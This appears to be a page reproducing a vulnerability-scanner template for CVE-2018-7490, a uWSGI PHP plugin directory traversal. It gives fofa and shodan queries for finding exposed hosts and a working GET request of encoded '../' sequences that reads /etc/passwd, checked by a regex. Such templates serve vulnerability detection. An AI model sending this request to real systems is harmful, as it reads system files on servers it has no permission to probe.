CVE-2018-7490: uWSGI PHP Plugin Directory Traversal

2025-08-01 uWSGI PHP Plugin PoC Public

Description

uWSGI PHP Plugin Directory Traversal

fofa: app="uWSGI"

shodan: http.html:"uWSGI"

PoC

id: CVE-2018-7490

info:
  name: uWSGI PHP Plugin Directory Traversal
  author: unkown
  severity: high
  description: |-
    uWSGI PHP Plugin Directory Traversal
    fofa: app="uWSGI"
    shodan: http.html:"uWSGI"
  reference:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-7490
    - https://nvd.nist.gov/vuln/detail/CVE-2018-7490
    - https://www.tenable.com/security/tns-2018-05
  tags: cve,cve2018,uwsgi,traversal
  created: 2023/08/10

rules:
  r0:
    request:
      method: GET
      path: /..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd
    expression: response.status == 200 && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
expression: r0()

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Source: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/CVE/2018/CVE-2018-7490.yaml

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